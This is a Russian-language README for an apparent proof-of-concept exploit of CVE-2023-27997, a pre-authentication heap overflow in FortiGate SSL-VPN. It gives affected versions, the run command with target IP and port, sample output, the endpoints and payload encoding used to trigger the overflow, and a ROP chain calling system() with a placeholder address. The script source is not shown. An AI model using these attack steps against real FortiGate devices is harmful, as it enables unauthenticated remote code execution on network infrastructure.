
FortiGate SSL-VPN CVE-2023-27997 Эксплойт PoC-скрипт с ROP-цепочкой
FortiGate SSL‑VPN CVE‑2023‑27997 PoC-скрипт эксплойта с ROP-цепочкой
fgt-cve-2023-27997-exploit.py — это Proof‑of‑Concept (PoC) скрипт эксплойта, написанный для критической уязвимости CVE‑2023‑27997, обнаруженной в устройствах Fortinet FortiGate.
Уязвимость возникает из-за ошибки heap-based buffer overflow, которая позволяет удаленно выполнять код (RCE) в интерфейсе FortiOS SSL‑VPN без аутентификации.
Шаги работы скрипта:
/remote/hostcheck_validate, вызывая переполнение памяти.Внимание: Скрипт следует использовать только в авторизованных тестовых или лабораторных средах.
| Продукт | Версии |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Соответствующие версии |
pip3 install -r requirements.txt
Содержимое requirements.txt:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Пример:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Аргумент | Описание |
|---|---|
<TARGET_IP> | IP-адрес целевого FortiGate |
<TARGET_PORT> | Порт SSL‑VPN (по умолчанию: 443 или 10443) |
[*] Запуск эксплойта ROP Chain Ping для FortiOS 7.0.5 CVE-2023-27997...
[+] Получен salt: 749a2b77
[+] Создан параметр enc (1024 символа)
[!] 500 Internal Server Error - Возможно переполнение памяти или сбой!
/remote/info --> получение значения salt
/remote/hostcheck_validate?enc=<payload> --> запуск переполнения буфера
enc шифруется с помощью XOR keystream, генерируемого из комбинации salt + seed.| Шаг | Gadget | Описание |
|---|
| 1 | pop rdi ; ret | В RDI загружается адрес команды |
| 2 | system@plt | Выполняется команда |
| – | 0xdeadbeefdeadbeef | Заполнитель; реальный адрес должен быть определен в лабораторной среде |
Этот PoC спроектирован для работы в контролируемой тестовой среде без необходимости heap grooming.